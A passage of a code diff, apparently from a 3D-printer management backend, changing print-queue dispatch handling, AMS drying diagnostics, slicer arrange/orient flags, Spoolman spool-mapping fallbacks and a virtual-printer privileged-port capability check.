                 return library_file.filename.replace(".gcode.3mf", "").replace(".3mf", "")
+        # A cross-model item (#671) holds no file of its own until a printer is
+        # picked, so name it after its first candidate — otherwise every waiting
+        # notification for one reads "Job #12". Queried rather than read off
+        # item.variants because callers outside the selection loop have not
+        # eager-loaded them, and a lazy load raises in async.
+        first_variant_name = (
+            await db.execute(
+                select(LibraryFile.filename)
+                .join(PrintQueueVariant, PrintQueueVariant.library_file_id == LibraryFile.id)
+                .where(PrintQueueVariant.queue_item_id == item.id)
+                .order_by(PrintQueueVariant.position, PrintQueueVariant.id)
+                .limit(1)
+            )
+        ).scalar_one_or_none()
+        if first_variant_name:
+            return first_variant_name.replace(".gcode.3mf", "").replace(".3mf", "")
         return f"Job #{item.id}"
         return f"Job #{item.id}"
 
 
     async def _get_printer(self, db: AsyncSession, printer_id: int) -> Printer | None:
     async def _get_printer(self, db: AsyncSession, printer_id: int) -> Printer | None:
@@ -3986,6 +4496,11 @@ class PrintScheduler:
         # every push carrying an `hms` key, so the fault can come and go between
         # every push carrying an `hms` key, so the fault can come and go between
         # 3-second polls. Seeing it once inside the dispatch window is enough.
         # 3-second polls. Seeing it once inside the dispatch window is enough.
         command_rejected = False
         command_rejected = False
+        # Latched for the same reason as command_rejected: drying can finish, or
+        # be stopped by the user, part-way through the dispatch window. Seeing it
+        # once is what matters — it is the state the printer was in when it
+        # declined to start (#2758).
+        drying_ams_ids: list[int] = []
         deadline = time.monotonic() + timeout
         deadline = time.monotonic() + timeout
         while time.monotonic() < deadline:
         while time.monotonic() < deadline:
             await asyncio.sleep(poll_interval)
             await asyncio.sleep(poll_interval)
@@ -4016,6 +4531,7 @@ class PrintScheduler:
                 except Exception:
                 except Exception:
                     pass
                     pass
                 return
                 return
+            drying_ams_ids = drying_ams_ids or _drying_ams_ids(status)
             # Checked only after the active-state exit above: a stale HMS left
             # Checked only after the active-state exit above: a stale HMS left
             # over from an earlier job must never abort a print that is visibly
             # over from an earlier job must never abort a print that is visibly
             # running. An actually-refused command leaves the printer idle, so
             # running. An actually-refused command leaves the printer idle, so
@@ -4052,6 +4568,7 @@ class PrintScheduler:
                     except Exception:
                     except Exception:
                         pass
                         pass
                     return
                     return
+                drying_ams_ids = drying_ams_ids or _drying_ams_ids(status)
                 # Same ordering rule as Phase A: a running print wins over a
                 # Same ordering rule as Phase A: a running print wins over a
                 # lingering HMS.
                 # lingering HMS.
                 if _mqtt_commands_rejected(status):
                 if _mqtt_commands_rejected(status):
@@ -4062,6 +4579,17 @@ class PrintScheduler:
         # Drop the in-memory hold so the retry isn't blocked by it.
         # Drop the in-memory hold so the retry isn't blocked by it.
         scheduler._release_dispatch_hold(printer_id)
         scheduler._release_dispatch_hold(printer_id)
 
 
+        # Logged on every failed dispatch window, not just the last one, so a
+        # support bundle shows the correlation from the first attempt rather than
+        # only after the retry budget is spent (#2758).
+        if drying_ams_ids:
+            logger.info(
+                "Queue item %s: printer %d never started while AMS %s drying — this may be why, see #2758",
+                queue_item_id,
+                printer_id,
+                ", ".join(str(i) for i in drying_ams_ids),
+            )
+
         # Four outcomes from the revert attempt, each routed differently:
         # Four outcomes from the revert attempt, each routed differently:
         #   "reverted":          row flipped from printing -> pending, run recovery
         #   "reverted":          row flipped from printing -> pending, run recovery
         #   "gave_up":           same, but the retry budget is spent — row failed
         #   "gave_up":           same, but the retry budget is spent — row failed
@@ -4086,6 +4614,17 @@ class PrintScheduler:
                 return "already_moved_on"
                 return "already_moved_on"
             item.dispatch_attempts = (item.dispatch_attempts or 0) + 1
             item.dispatch_attempts = (item.dispatch_attempts or 0) + 1
             item.started_at = None
             item.started_at = None
+            # Charge the attempt to the candidate that was actually dispatched, so
+            # a cross-model item (#671) reaches for its other file next lap instead
+            # of retrying the printer that just failed to start. Matched by file
+            # because that is what the resolver copied onto the row.
+            if item.library_file_id is not None:
+                await db.execute(
+                    update(PrintQueueVariant)
+                    .where(PrintQueueVariant.queue_item_id == item.id)
+                    .where(PrintQueueVariant.library_file_id == item.library_file_id)
+                    .values(attempt_count=PrintQueueVariant.attempt_count + 1)
+                )
             if command_rejected:
             if command_rejected:
                 # No retry budget for this one: the printer refused to verify the
                 # No retry budget for this one: the printer refused to verify the
                 # command, and re-uploading the same 3MF to the same printer will
                 # command, and re-uploading the same 3MF to the same printer will
@@ -4102,11 +4641,29 @@ class PrintScheduler:
                 return "command_rejected"
                 return "command_rejected"
             if item.dispatch_attempts >= DISPATCH_MAX_ATTEMPTS:
             if item.dispatch_attempts >= DISPATCH_MAX_ATTEMPTS:
                 item.status = "failed"
                 item.status = "failed"
-                item.error_message = (
-                    f"The printer accepted the file but never started printing, after "
-                    f"{item.dispatch_attempts} attempts. Check the printer's screen for a "
-                    f"prompt or error, confirm its SD card is readable, and start the job again."
-                )
+                if drying_ams_ids:
+                    # #2758: the generic message below sent the reporter looking
+                    # at the SD card while the actual obstacle — AMS units in a
+                    # drying cycle — was on screen the whole time. Name what we
+                    # observed and let the user judge it; Bambuddy does not stop
+                    # the cycle itself, because on this hardware drying can run
+                    # alongside a print and stopping it may not be the fix.
+                    units = ", ".join(f"AMS {i}" for i in drying_ams_ids)
+                    item.error_message = (
+                        f"The printer accepted the file but never started printing, after "
+                        f"{item.dispatch_attempts} attempts. {units} "
+                        f"{'was' if len(drying_ams_ids) == 1 else 'were'} drying throughout — "
+                        f"some printers refuse to begin a print while an AMS is in a drying "
+                        f"cycle, and an AMS drying without its external power supply can also "
+                        f"leave too little power for the start-of-print calibration. Stop the "
+                        f"drying, or connect the AMS power supply, and start the job again."
+                    )
+                else:
+                    item.error_message = (
+                        f"The printer accepted the file but never started printing, after "
+                        f"{item.dispatch_attempts} attempts. Check the printer's screen for a "
+                        f"prompt or error, confirm its SD card is readable, and start the job again."
+                    )
                 item.completed_at = datetime.now(timezone.utc)
                 item.completed_at = datetime.now(timezone.utc)
                 await release_budget_reservation(
                 await release_budget_reservation(
                     db,
                     db,

+ 85 - 14
backend/app/services/printer_manager.py

@@ -238,6 +238,86 @@ def drying_screen_only(model: str | None) -> bool:
     return model.strip().upper() in _DRYING_SCREEN_ONLY_MODELS
     return model.strip().upper() in _DRYING_SCREEN_ONLY_MODELS
 
 
 
 
+# Temperature keys the UI actually draws. `state.temperatures` is also working
+# memory: it carries private bookkeeping (`_nozzle_target_set_time`) and derived
+# flags (`nozzle_heating`) that no consumer outside this module should see. The
+# full-status path hands out the whole dict to logged-in callers; the streaming
+# overlay gets only this list, because an overlay token is a narrower grant than
+# a login and should not pick up fields by accident as the dict grows.
+DISPLAY_TEMPERATURE_KEYS = (
+    "nozzle",
+    "nozzle_target",
+    "nozzle_2",
+    "nozzle_2_target",
+    "bed",
+    "bed_target",
+    "chamber",
+    "chamber_target",
+)
+
+
+def display_temperatures(temperatures: dict | None, model: str | None) -> dict[str, float]:
+    """Filter `state.temperatures` down to the readings a viewer is shown.
+
+    Drops chamber readings on models without a real chamber sensor — P1P, P1S,
+    A1 and A1 mini all report a meaningless `chamber_temper` — matching what
+    ``printer_state_to_dict`` already does for the full status payload.
+    """
+    if not temperatures:
+        return {}
+    allow_chamber = supports_chamber_temp(model)
+    out: dict[str, float] = {}
+    for key in DISPLAY_TEMPERATURE_KEYS:
+        if key.startswith("chamber") and not allow_chamber:
+            continue
+        value = temperatures.get(key)
+        if value is None:
+            continue
+        try:
+            out[key] = float(value)
+        except (TypeError, ValueError):
+            continue
+    return out
+
+
+def uniform_tray_filament_hint(loaded_types: list[str]) -> str | None:
+    """Guess an active cycle's filament from the loaded trays.
+
+    Bambu never echoes back which filament or temperature a drying cycle is
+    running, so the badge normally reads the target we cached when we sent the
+    command. This is the fallback for when we have no record — drying started in
+    a previous backend lifetime, or from the printer's own screen.
+
+    It answers only when every loaded tray holds the same filament type. On a
+    mixed unit the first tray is evidence of nothing: an AMS holding two PETG
+    and two PLA spools, drying PLA at the 45°C the user picked, was labelled
+    "PETG @ 65°C" purely because slot 1 happened to be PETG (#2759).
+
+    Deliberately no temperature. The RFID-recommended ``drying_temp`` used to be
+    returned alongside a uniform filament, which narrowed #2759 to units whose
+    spools disagree but left the uniform case stating a temperature just as
+    invented: a unit loaded entirely with PLA, drying at the 45°C the user
+    picked, read "PLA @ 55°C" the moment the cached target went missing. The
+    filament type is real evidence — every spool in the unit agrees on it, and
+    the dryer heats all of them — but the temperature is a free choice in the
+    popover, so a recommendation is never evidence of what is running. The badge
+    shows the filament and the countdown, and names a temperature only when we
+    actually sent it.
+
+    Args:
+        loaded_types: ``tray_type`` for each tray, in slot order. Empty slots
+            (falsy) are ignored.
+
+    Returns:
+        The shared filament type, or None if the loaded trays disagree or the
+        unit is empty.
+    """
+    types = {str(tray_type) for tray_type in loaded_types if tray_type}
+    if len(types) != 1:
+        return None
+    return next(iter(types))
+
+
 def supports_drying(model: str | None, firmware: str | None) -> bool:
 def supports_drying(model: str | None, firmware: str | None) -> bool:
     """Check if a printer model accepts remote AMS drying commands.
     """Check if a printer model accepts remote AMS drying commands.
 
 
@@ -1254,9 +1334,9 @@ def printer_state_to_dict(
             # per-tick AMS push, so prefer the cached target from the last
             # per-tick AMS push, so prefer the cached target from the last
             # ``send_drying_command``. When we have no record (drying
             # ``send_drying_command``. When we have no record (drying
             # started in a previous backend lifetime, or the cache was
             # started in a previous backend lifetime, or the cache was
-            # never seeded), fall back to the first loaded tray's
-            # tray_type + RFID-recommended drying_temp — the same heuristic
-            # the popover already uses to seed defaults.
+            # never seeded), the loaded trays can still name the filament
+            # if they agree — but never the temperature, which only the
+            # cache knows. See uniform_tray_filament_hint.
             ams_id_int = int(ams_data.get("id", 0))
             ams_id_int = int(ams_data.get("id", 0))
             target = (drying_targets or {}).get(ams_id_int)
             target = (drying_targets or {}).get(ams_id_int)
             dry_target_temp: int | None = None
             dry_target_temp: int | None = None
@@ -1271,17 +1351,8 @@ def printer_state_to_dict(
                         dry_target_temp = None
                         dry_target_temp = None
                 if fil_val:
                 if fil_val:
                     dry_filament = str(fil_val)
                     dry_filament = str(fil_val)
-            if dry_target_temp is None or not dry_filament:
-                for tray in trays:
-                    if tray.get("tray_type"):
-                        if not dry_filament:
-                            dry_filament = str(tray["tray_type"])
-                        if dry_target_temp is None and tray.get("drying_temp"):
-                            try:
-                                dry_target_temp = int(tray["drying_temp"])
-                            except (TypeError, ValueError):
-                                pass
-                        break
+            if not dry_filament:
+                dry_filament = uniform_tray_filament_hint([tray.get("tray_type") or "" for tray in trays])
 
 
             ams_units.append(
             ams_units.append(
                 {
                 {

+ 39 - 6
backend/app/services/slicer_api.py

@@ -471,6 +471,7 @@ class SlicerApiService:
         plate: int | None = None,
         plate: int | None = None,
         export_3mf: bool = False,
         export_3mf: bool = False,
         arrange: bool = False,
         arrange: bool = False,
+        orient: bool = False,
         request_id: str | None = None,
         request_id: str | None = None,
         on_progress: Callable[[dict], None] | None = None,
         on_progress: Callable[[dict], None] | None = None,
     ) -> SliceResult:
     ) -> SliceResult:
@@ -489,7 +490,15 @@ class SlicerApiService:
         the source's X1C-coordinate layout would otherwise drop into an H2D
         the source's X1C-coordinate layout would otherwise drop into an H2D
         dead zone or trigger the multi-extruder geometry pipeline's polygon
         dead zone or trigger the multi-extruder geometry pipeline's polygon
         clipping crash. Default off so single-printer slices preserve the
         clipping crash. Default off so single-printer slices preserve the
-        user's deliberate layout.
+        user's deliberate layout. Also settable per-slice by the user
+        (#2548).
+
+        ``orient`` forwards ``--orient``, the CLI's auto-orientation pass:
+        the slicer scores candidate rotations (overhang area, contour,
+        unprintability) and rotates each object onto the best one before
+        slicing. User-driven only — nothing in Bambuddy turns it on by
+        itself, since rotating a deliberately-laid-out model is not a
+        change to make silently.
 
 
         ``request_id``: when supplied, the sidecar wires --pipe to a
         ``request_id``: when supplied, the sidecar wires --pipe to a
         per-request FIFO and publishes structured JSON progress events to
         per-request FIFO and publishes structured JSON progress events to
@@ -522,11 +531,7 @@ class SlicerApiService:
             data["plate"] = str(plate)
             data["plate"] = str(plate)
         if export_3mf:
         if export_3mf:
             data["exportType"] = "3mf"
             data["exportType"] = "3mf"
-        if arrange:
-            # Sidecar reads non-empty truthy strings as True; only send the
-            # field when we want the flag on, so default-off callers exactly
-            # match the previous wire payload.
-            data["arrange"] = "true"
+        _add_layout_flags(data, arrange=arrange, orient=orient)
         if request_id is not None:
         if request_id is not None:
             data["requestId"] = request_id
             data["requestId"] = request_id
 
 
@@ -545,6 +550,8 @@ class SlicerApiService:
         model_filename: str,
         model_filename: str,
         plate: int | None = None,
         plate: int | None = None,
         export_3mf: bool = False,
         export_3mf: bool = False,
+        arrange: bool = False,
+        orient: bool = False,
         request_id: str | None = None,
         request_id: str | None = None,
         on_progress: Callable[[dict], None] | None = None,
         on_progress: Callable[[dict], None] | None = None,
     ) -> SliceResult:
     ) -> SliceResult:
@@ -563,6 +570,14 @@ class SlicerApiService:
         events to the ProgressStore so the modal's inline spinner +
         events to the ProgressStore so the modal's inline spinner +
         toast can show "Generating G-code (75%)" for that preview as
         toast can show "Generating G-code (75%)" for that preview as
         well.
         well.
+
+        ``arrange`` / ``orient`` mean the same as on
+        ``slice_with_profiles``: they are CLI actions applied to the loaded
+        geometry, independent of where the print config came from. Both
+        paths accept them so a user's per-slice choice survives the
+        embedded-settings route and the segfault fallback — the filament-
+        discovery preview leaves them off, since moving objects there
+        would change nothing about which slots the plate consumes.
         """
         """
         files = {
         files = {
             "file": (model_filename, model_bytes, _guess_model_content_type(model_filename)),
             "file": (model_filename, model_bytes, _guess_model_content_type(model_filename)),
@@ -572,6 +587,7 @@ class SlicerApiService:
             data["plate"] = str(plate)
             data["plate"] = str(plate)
         if export_3mf:
         if export_3mf:
             data["exportType"] = "3mf"
             data["exportType"] = "3mf"
+        _add_layout_flags(data, arrange=arrange, orient=orient)
         if request_id is not None:
         if request_id is not None:
             data["requestId"] = request_id
             data["requestId"] = request_id
 
 
@@ -584,6 +600,23 @@ class SlicerApiService:
         return _handle_slice_response(response, export_3mf=export_3mf)
         return _handle_slice_response(response, export_3mf=export_3mf)
 
 
 
 
+def _add_layout_flags(data: dict[str, str], *, arrange: bool, orient: bool) -> None:
+    """Set the sidecar's ``arrange`` / ``orient`` form fields, but only when on.
+
+    The sidecar branches on ``settings.arrange !== undefined`` and forwards
+    ``--arrange 1`` / ``--arrange 0`` accordingly — but multipart fields
+    arrive as *strings*, and ``"false"`` is truthy in JavaScript. Sending
+    ``"false"`` would therefore turn the flag ON. So an off flag is
+    expressed by omitting the field entirely, which also keeps the wire
+    payload of default-off callers byte-identical to before these
+    parameters existed.
+    """
+    if arrange:
+        data["arrange"] = "true"
+    if orient:
+        data["orient"] = "true"
+
+
 def _safe_int(value: str | None) -> int:
 def _safe_int(value: str | None) -> int:
     if not value:
     if not value:
         return 0
         return 0

+ 94 - 2
backend/app/services/spoolman_tracking.py

@@ -150,6 +150,62 @@ def _resolve_global_tray_id(slot_id: int, slot_to_tray: list | None, ams_trays:
     return slot_id - 1
     return slot_id - 1
 
 
 
 
+def _resolve_slot_to_tray_fallback(printer_id: int, filament_usage: list[dict]) -> tuple[list[int] | None, str]:
+    """Recover a slot-to-tray mapping at completion when print start captured none.
+
+    ``store_print_data`` can only learn the mapping from two sources: the
+    ``ams_mapping`` Bambuddy intercepts on the printer's local request topic, and
+    a queue item's stored mapping. Neither exists for a print dispatched from
+    Bambu Studio while the printer is cloud-bound — the command travels through
+    Bambu's broker and never appears on the local topic we subscribe to. With
+    ``slot_to_tray`` left NULL, ``_resolve_global_tray_id`` guesses by position:
+    slicer slot 1 to the first loaded tray, slot 2 to the second, and so on. An
+    AMS that isn't loaded in slicer order then charges every slot to the wrong
+    spool, and the archive's filament is rewritten to match, so the print
+    silently changes colour when it finishes (#2768).
+
+    The printer knows the real answer. Its ``mapping`` field carries the actual
+    slot-to-tray assignment for the running job, and for the models that never
+    publish it (A1, P1S, P2S) the 3MF's per-slot colours can be matched against
+    the loaded trays instead. The built-in inventory writer has consulted both
+    for as long as it has resolved mappings at completion; this gives the
+    Spoolman writer the same two fallbacks at the same moment.
+
+    Deliberately at completion rather than inside ``store_print_data``: the
+    printer keeps publishing ``mapping`` long after a job ends — it is still in
+    the status payload while the printer sits idle — so reading it at print start
+    risks stamping the *previous* job's mapping onto this one before the printer
+    has pushed the update. At completion the field unambiguously describes the
+    job that just ran.
+
+    Args:
+        printer_id: Printer whose live state is consulted.
+        filament_usage: The 3MF's per-slot estimates, needed by the colour
+            match. Only the ``slot_id``/``color`` keys are read.
+
+    Returns:
+        ``(mapping, source)``, or ``(None, "none")`` when neither fallback
+        produced anything and the positional default stands.
+    """
+    from backend.app.services.printer_manager import printer_manager
+    from backend.app.services.usage_tracker import _decode_mqtt_mapping, _match_slots_by_color
+
+    state = printer_manager.get_status(printer_id)
+    raw_data = getattr(state, "raw_data", None) if state else None
+    if not raw_data:
+        return None, "none"
+
+    decoded = _decode_mqtt_mapping(raw_data.get("mapping"))
+    if decoded:
+        return decoded, "mqtt"
+
+    matched = _match_slots_by_color(filament_usage, raw_data.get("ams"))
+    if matched:
+        return matched, "color_match"
+
+    return None, "none"
+
+
 def build_ams_tray_lookup(raw_data: dict) -> dict[int, dict]:
 def build_ams_tray_lookup(raw_data: dict) -> dict[int, dict]:
     """Build lookup of global_tray_id -> tray info from printer state.
     """Build lookup of global_tray_id -> tray info from printer state.
 
 
@@ -327,9 +383,11 @@ async def store_print_data(
     # Prefer the explicit mapping captured from the print command, then fall back
     # Prefer the explicit mapping captured from the print command, then fall back
     # to any queue mapping stored for scheduled/reprint jobs.
     # to any queue mapping stored for scheduled/reprint jobs.
     slot_to_tray = ams_mapping if ams_mapping is not None else None
     slot_to_tray = ams_mapping if ams_mapping is not None else None
+    mapping_source = "print_cmd" if slot_to_tray else None
     if not slot_to_tray and queue_item and queue_item.ams_mapping:
     if not slot_to_tray and queue_item and queue_item.ams_mapping:
         try:
         try:
             slot_to_tray = json.loads(queue_item.ams_mapping)
             slot_to_tray = json.loads(queue_item.ams_mapping)
+            mapping_source = "queue"
         except json.JSONDecodeError:
         except json.JSONDecodeError:
             pass  # Ignore malformed AMS mapping; fall back to default slot assignment
             pass  # Ignore malformed AMS mapping; fall back to default slot assignment
 
 
@@ -364,8 +422,15 @@ async def store_print_data(
     )
     )
     logger.debug("[SPOOLMAN] Filament usage: %s", filament_usage)
     logger.debug("[SPOOLMAN] Filament usage: %s", filament_usage)
     logger.debug("[SPOOLMAN] AMS trays: %s", list(ams_trays.keys()))
     logger.debug("[SPOOLMAN] AMS trays: %s", list(ams_trays.keys()))
-    if slot_to_tray:
-        logger.debug("[SPOOLMAN] Custom slot mapping: %s", slot_to_tray)
+    # Logged at info even when there is no mapping: "source: none" here is the
+    # signal that completion will have to fall back, which is the single most
+    # useful line in the log when a print is charged to the wrong spool (#2768).
+    logger.info(
+        "[SPOOLMAN] Print start: archive %s slot_to_tray=%s (source: %s)",
+        archive_id,
+        slot_to_tray,
+        mapping_source or "none",
+    )
     if layer_usage_json:
     if layer_usage_json:
         logger.debug("[SPOOLMAN] Layer usage data available for partial tracking")
         logger.debug("[SPOOLMAN] Layer usage data available for partial tracking")
 
 
@@ -819,6 +884,19 @@ async def _report_partial_usage(
         )
         )
         return
         return
 
 
+    # Same recovery the completion path does, for the same reason: a print
+    # dispatched from Studio over the cloud left print start with no mapping to
+    # store, and both paths below feed ``slot_to_tray`` to
+    # ``_resolve_global_tray_id`` (#2768). An aborted print charges the wrong
+    # spool just as readily as a finished one.
+    if not slot_to_tray:
+        slot_to_tray, _partial_mapping_source = _resolve_slot_to_tray_fallback(printer_id, filament_usage)
+        logger.info(
+            "[SPOOLMAN] Partial usage: slot_to_tray=%s (source: %s)",
+            slot_to_tray,
+            _partial_mapping_source,
+        )
+
     # Try to use accurate G-code parsed data
     # Try to use accurate G-code parsed data
     if layer_usage:
     if layer_usage:
         layer_usage_int = {
         layer_usage_int = {
@@ -1000,6 +1078,20 @@ async def report_usage(printer_id: int, archive_id: int):
         # is the print's last valid layer.
         # is the print's last valid layer.
         _layer_denom_hint = _total_layers or _current_layer
         _layer_denom_hint = _total_layers or _current_layer
 
 
+        # Recover the mapping when print start had nothing to store — the
+        # cloud-dispatched Studio print of #2768. Only the 3MF path consumes
+        # ``slot_to_tray``; the remain-delta path below resolves spools from the
+        # AMS slot directly, so there is nothing to recover for it.
+        mapping_source = "stored" if slot_to_tray else "none"
+        if filament_usage and not slot_to_tray:
+            slot_to_tray, mapping_source = _resolve_slot_to_tray_fallback(printer_id, filament_usage)
+        logger.info(
+            "[SPOOLMAN] Archive %s: slot_to_tray=%s (source: %s)",
+            archive_id,
+            slot_to_tray,
+            mapping_source,
+        )
+
         slot_colors: dict[int, str] = {}
         slot_colors: dict[int, str] = {}
         slot_materials: dict[int, str] = {}
         slot_materials: dict[int, str] = {}
         handled_global_tray_ids: set[int] = set()
         handled_global_tray_ids: set[int] = set()

+ 68 - 0
backend/app/services/virtual_printer/diagnostic.py

@@ -15,6 +15,7 @@ id + status.
 
 
 import asyncio
 import asyncio
 import logging
 import logging
+import os
 
 
 from backend.app.models.virtual_printer import VirtualPrinter
 from backend.app.models.virtual_printer import VirtualPrinter
 from backend.app.schemas.printer import DiagnosticCheck
 from backend.app.schemas.printer import DiagnosticCheck
@@ -30,6 +31,41 @@ PORT_BIND_PLAIN = 3000  # bind/detect (plain) — legacy / some slicer models
 
 
 _PORT_PROBE_TIMEOUT = 2.0
 _PORT_PROBE_TIMEOUT = 2.0
 
 
+# Linux capability number for CAP_NET_BIND_SERVICE (linux/capability.h).
+_CAP_NET_BIND_SERVICE = 10
+
+
+def can_bind_privileged_ports() -> bool | None:
+    """Whether this process is allowed to bind ports below 1024.
+
+    Returns ``None`` when that cannot be determined — no procfs to read and not
+    running as root, i.e. macOS or Windows, where this capability model does not
+    apply and the caller should skip the check rather than guess.
+
+    Reading the effective set covers both ways the permission is granted,
+    because both are visible at runtime: ``AmbientCapabilities`` in the systemd
+    unit (or ``cap_add: [NET_BIND_SERVICE]`` in Docker), and
+    ``setcap cap_net_bind_service=+ep`` on the interpreter binary.
+
+    Note this answers "does the process hold the capability", not "can port 990
+    be bound" — a host with ``net.ipv4.ip_unprivileged_port_start`` lowered can
+    bind it without holding anything. Callers must treat a False here as a
+    *possible* explanation for a port that failed to open, never as proof on its
+    own; the caller in this module only reports it when a probe actually failed.
+    """
+    geteuid = getattr(os, "geteuid", None)
+    if geteuid is not None and geteuid() == 0:
+        return True
+    try:
+        with open("/proc/self/status", encoding="utf-8") as fh:
+            for line in fh:
+                if line.startswith("CapEff:"):
+                    caps = int(line.split(":", 1)[1].strip(), 16)
+                    return bool((caps >> _CAP_NET_BIND_SERVICE) & 1)
+    except (OSError, ValueError):
+        return None
+    return None
+
 
 
 async def _check_port(ip: str, port: int, timeout: float = _PORT_PROBE_TIMEOUT) -> bool:
 async def _check_port(ip: str, port: int, timeout: float = _PORT_PROBE_TIMEOUT) -> bool:
     """Test TCP connectivity to ip:port. Returns True if something is listening."""
     """Test TCP connectivity to ip:port. Returns True if something is listening."""
@@ -108,6 +144,7 @@ async def run_vp_diagnostic(vp: VirtualPrinter, instance) -> VPDiagnosticResult:
     # bound (port already in use, permission denied) because start errors are
     # bound (port already in use, permission denied) because start errors are
     # logged and swallowed. Probe the bind IP directly.
     # logged and swallowed. Probe the bind IP directly.
     bind_ip = vp.bind_ip
     bind_ip = vp.bind_ip
+    ftp_ok: bool | None = None
     if not running or not bind_ip:
     if not running or not bind_ip:
         for cid, port in (("port_ftps", PORT_FTPS), ("port_mqtt", PORT_MQTT), ("port_bind", PORT_BIND)):
         for cid, port in (("port_ftps", PORT_FTPS), ("port_mqtt", PORT_MQTT), ("port_bind", PORT_BIND)):
             checks.append(DiagnosticCheck(id=cid, status="skip", params={"port": port}))
             checks.append(DiagnosticCheck(id=cid, status="skip", params={"port": port}))
@@ -156,6 +193,37 @@ async def run_vp_diagnostic(vp: VirtualPrinter, instance) -> VPDiagnosticResult:
             )
             )
         )
         )
 
 
+    # --- Privileged port binding ---
+    # 990 (FTPS) and 322 (RTSP) are below 1024, so a service running as a normal
+    # user cannot bind them without CAP_NET_BIND_SERVICE. When it is missing the
+    # sockets never open, and every symptom above is a downstream effect: the
+    # slicer simply never sees the printer. The EACCES is logged by TCPProxy but
+    # that is one line in the journal, and the port checks alone report the same
+    # "nothing is listening" as an ordinary port conflict — which is what sent
+    # the reporter in #2549 to Discord for several days over one missing line in
+    # a unit file.
+    #
+    # Reported only when a privileged port actually failed to answer. The
+    # capability can legitimately be absent on a host that fronts these ports
+    # some other way (an iptables REDIRECT is the documented alternative), and
+    # flagging a working setup would be noise.
+    if not running or ftp_ok is None:
+        checks.append(DiagnosticCheck(id="privileged_ports", status="skip"))
+    else:
+        has_cap = can_bind_privileged_ports()
+        if has_cap is None:
+            # No procfs to read and not obviously root — typically macOS or
+            # Windows, where this whole capability model does not apply.
+            checks.append(DiagnosticCheck(id="privileged_ports", status="skip"))
+        else:
+            checks.append(
+                DiagnosticCheck(
+                    id="privileged_ports",
+                    status="pass" if (has_cap or ftp_ok) else "fail",
+                    params={"port": PORT_FTPS},
+                )
+            )
+
     # --- TLS certificate ---
     # --- TLS certificate ---
     # When running, the cert chain must exist on disk for the slicer's TLS
     # When running, the cert chain must exist on disk for the slicer's TLS
     # handshake to succeed. This is a pass/fail on the file; the localized
     # handshake to succeed. This is a pass/fail on the file; the localized

+ 205 - 7
backend/app/services/virtual_printer/manager.py

@@ -5,6 +5,7 @@ bound to its dedicated IP address, regardless of mode.
 """
 """
 
 
 import asyncio
 import asyncio
+import json
 import logging
 import logging
 import time
 import time
 from collections.abc import Callable
 from collections.abc import Callable
@@ -154,6 +155,60 @@ def _tristate_from_slicer(data: dict, bool_field: str, int_field: str) -> str |
     return None
     return None
 
 
 
 
+def _extract_slicer_ams_mapping_json(data: dict, log_prefix: str) -> str | None:
+    """Pull the slicer's own AMS-slot pick out of a captured project_file payload.
+
+    BambuStudio/OrcaSlicer resolves the physical AMS tray for each filament
+    live, right before sending — either automatically or via the slicer's
+    manual per-filament AMS-slot assignment dialog — and embeds the result as
+    ``ams_mapping`` (``list[int]``, position = slot_id-1, value = global tray
+    ID) directly in the MQTT ``project_file`` command. Confirmed by wire
+    capture: the field is present and already in the exact shape
+    ``PrintQueueItem.ams_mapping`` expects.
+
+    The VP-queue path previously never read this — every queued print had the
+    scheduler re-derive a mapping from just the 3MF's static type/color at
+    dispatch time (`PrintScheduler._compute_ams_mapping_for_printer`), discarding
+    the slicer's already-correct, live-resolved pick. That re-derivation can
+    land on the wrong physical spool whenever the file's type+color match
+    isn't unique (e.g. two spools of the same color) or the file's own
+    filament-slot color wasn't what the user actually intended for that
+    particular print. Capturing it here — mirroring the existing
+    ``nozzle_mapping`` passthrough for H2C rack-swap models (#1780) — lets the
+    scheduler's "already resolved, don't touch it" branch in
+    ``_ensure_ams_mapping`` use the slicer's own choice unchanged.
+
+    That branch skipping ``_compute_ams_mapping_for_printer`` is also what
+    makes this a trade rather than a pure win: ``prefer_lowest_filament``, its
+    AMS-filament-backup gate (#1766), the inventory-remain overrides and the
+    per-slot force-color overrides all live inside that function. Callers are
+    responsible for the gating — this parser only says what the slicer sent.
+
+    Returns ``None`` when the field is absent, unparsable, or the classic
+    "all -1" unresolved-race sentinel (#2589) — never worth trusting over a
+    fresh live computation.
+    """
+    raw = data.get("ams_mapping")
+    if raw is None:
+        return None
+    if isinstance(raw, str):
+        try:
+            raw = json.loads(raw)
+        except json.JSONDecodeError:
+            logger.warning("%s Slicer ams_mapping is unparseable JSON, dropping: %r", log_prefix, raw)
+            return None
+    # bool is a subclass of int in Python — isinstance(True, int) is True —
+    # so it must be excluded explicitly, or [True, False] would pass as a
+    # valid mapping.
+    if not isinstance(raw, list) or not raw or not all(isinstance(v, int) and not isinstance(v, bool) for v in raw):
+        return None
+    if all(v < 0 for v in raw):
+        # #2589 sentinel — every slot unresolved. Let the scheduler compute a
+        # fresh mapping from live AMS state instead of trusting this.
+        return None
+    return json.dumps(raw)
+
+
 def _get_serial_for_model(model: str, serial_suffix: str) -> str:
 def _get_serial_for_model(model: str, serial_suffix: str) -> str:
     """Get serial number for the given model and suffix."""
     """Get serial number for the given model and suffix."""
     prefix = MODEL_SERIAL_PREFIXES.get(model, "00M09A")
     prefix = MODEL_SERIAL_PREFIXES.get(model, "00M09A")
@@ -181,6 +236,7 @@ class VirtualPrinterInstance:
         target_printer_id: int | None = None,
         target_printer_id: int | None = None,
         auto_dispatch: bool = True,
         auto_dispatch: bool = True,
         queue_force_color_match: bool = False,
         queue_force_color_match: bool = False,
+        save_ams_mapping: bool = False,
         gcode_injection: bool = False,
         gcode_injection: bool = False,
         bind_ip: str = "",
         bind_ip: str = "",
         remote_interface_ip: str = "",
         remote_interface_ip: str = "",
@@ -204,6 +260,7 @@ class VirtualPrinterInstance:
         self.target_printer_id = target_printer_id
         self.target_printer_id = target_printer_id
         self.auto_dispatch = auto_dispatch
         self.auto_dispatch = auto_dispatch
         self.queue_force_color_match = queue_force_color_match
         self.queue_force_color_match = queue_force_color_match
+        self.save_ams_mapping = save_ams_mapping
         self.gcode_injection = gcode_injection
         self.gcode_injection = gcode_injection
         self.bind_ip = bind_ip
         self.bind_ip = bind_ip
         self.remote_interface_ip = remote_interface_ip
         self.remote_interface_ip = remote_interface_ip
@@ -416,8 +473,9 @@ class VirtualPrinterInstance:
         row was already written with settings defaults. This method runs
         row was already written with settings defaults. This method runs
         on the late MQTT path: it looks up the most recent queue items
         on the late MQTT path: it looks up the most recent queue items
         committed for this filename and patches in the slicer's
         committed for this filename and patches in the slicer's
-        ``nozzle_mapping`` + workflow flags, but only while the items are
